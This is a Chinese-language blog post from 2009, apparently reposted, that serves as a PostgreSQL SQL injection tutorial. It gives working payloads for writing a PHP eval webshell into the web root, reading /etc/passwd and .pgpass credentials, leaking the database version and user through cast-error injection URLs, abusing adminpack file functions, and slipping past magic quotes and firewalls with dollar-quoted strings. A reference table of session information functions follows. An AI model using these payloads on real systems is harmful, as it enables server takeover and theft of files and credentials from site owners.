Postgresql注入研究三兩事(續集)

cnbird發表於2009-07-15
以下下部分有Mickey兄提供

1.在postgresql下匯出webshell
create table mickey_shell(shell text not null);
insert into shell values(`<?php eval($_POST[cmd]);?>`);
copy mickey_shell(shell) to `/var/www/html/mickey.php`;

另一種簡便的方法:
copy (select `<?php eval($_POST[cmd]);?>`) to `/var/www/html/mickey.php`

2.如果沒有寫許可權,可以嘗試讀檔案
create table mickey_file(file text not null);
copy mickey_file (file) from `/etc/passwd`;
select * from mickey_file;

讀取檔案前20行
pg_read_file(`/etc/passwd`,1,20)

PGADMIN

的帳戶資訊,在linux

下預設存放在使用者家目錄的.pgpass

檔案中

mickey@pentest:~$ pwd

/home/mickey

mickey@pentest:~$ cat .pgpass

127.0.0.1:5432:*:postgres:mickey


判斷postgresql

資料庫

http://www.xxx.com/news.php?id=62
and 1::int=1


通過cast

型別轉換來暴postgresql

資訊

http://www.xxx.com/new.php?id=1
and 1=cast(version() as int)

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid

input syntax for integer: “PostgreSQL 8.2.9 on

i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD]

20060305″ in /usr/local/www/apache22/data/qzx/news.php on line 6

http://www.xxx.com/new.php?id=1
and 1=cast(current_user as int)


如果遇到此類的出錯資訊

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: cannot

cast type name to integer in /usr/local/www/apache22/data/qzx/news.php

on line 6




http://www.xxx.com/new.php?id=1
and 1=cast(current_user ||123 as int)

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid

input syntax for integer: “zhangfeng123” in

/usr/local/www/apache22/data/qzx/homehs.php on line 109

我的小小補充

        沒研究注入許久了,多謝Mickey兄提供才有了我重新審視pgsql注入的機會。
        從pgsql8.2開始支援adminpack這個包,看了程式碼過後認為幾乎對於管理員來說,可以無限制使用。(程式碼   
https://projects.commandprompt.com/public/replicator/browser/trunk
/contrib/adminpack/adminpack.c)。許可權要求很高。主要有這幾個函式
       pg_file_write(filename,text,bool)   bool為覆蓋模式
       pg_read_file(filename,pos,length) 返回型別text不提,很好利用,不管是cast暴值還是union
       pg_ls_dir(dirname)
       注意他的返回型別為setof text 需要這樣來(select pg_ls_dir(`/var/www/`) limit 1 offset n)這樣來讀取不同記錄
       pg_stat_file(filename)   這個返回結果是record,為檔案屬性,需要把他作為一個子表來看待。不太清楚具體的返回欄位。有興趣的同學自己看看。另外像pg_file_unlink,pg_file_raname不提。
       單引號的繞過在pg8.0以上容易實現。這部分來源於老外的文件。大致意思可以用$quote$代替單引號,也可以用$$來定義字元。比如`test`變成$quote$test$quote$或$$test$$。這樣對php的注入就大為方便了。
下面引用自:Advanced PostgreSQL SQL Injection and Filter Bypass Techniques(作者:Leon Juranić)

              This allows the attacker string quoting with the dollar sign; the following two strings
are treated identically by a PostgreSQL database version 8 or higher: `TEST` and $$TEST$$.
Considering that magic quotes does not filter dollar signs, this allows the attacker to inject
strings into SQL statements without the need to use the CHR() function. Such encoding of
strings can also be used with web application firewalls that filter other characters, such as the
pipe (`|`) character.
The following example shows a SELECT statement using a dollar-quoted string constant:
SELECT $$DOLLAR-SIGN-TEST$$;
Finally, PostgreSQL supports string quoting with tags. Tags have to be defined between the
dollar signs ($tag$), as shown in the example below:
SELECT $quote$DOLLAR-SIGN-TEST$quote$;
This can further help the attacker bypass web application firewalls.
附錄:

系統資訊函式


9-39

顯示了幾個抽取會話及系統資訊的函式。



9-39.



會話資訊函式

名字

返回型別

描述

current_database()

name

當前資料庫的名字

current_schema()

name

當前模式的名字

current_schemas(boolean)

name[]

在搜尋路徑中的模式名字

current_user

name

目前執行環境下的使用者名稱

inet_client_addr()

inet

連線的遠端址

inet_client_port()

int

連線的遠端埠

inet_server_addr()

inet

連線的本地地址

inet_server_port()

int

連線的本地埠

session_user

name

會話使用者名稱

pg_postmaster_start_time()

timestamp with time zone

postmaster

啟動的時間

user

name

等於
current_user

version

()

text

PostgreSQL

版本資訊

session_user

通常是初始化當前資料庫聯接的使用者, 不過超級使用者可以用
SET SESSION AUTHORIZATION

修改這個設定。
current_user

是用於許可權檢查的使用者標識。通常, 它總是等於會話使用者,但是在將來可能有
“setuid”

函式和其他它是等於會話使用者, 但是它在函式執行的過程中隨著屬性
SECURITY DEFINER

的改變而改變。 在
Unix

的說法裡,那麼會話使用者是


真實使用者


,而當前使用者是


有效使用者



相關文章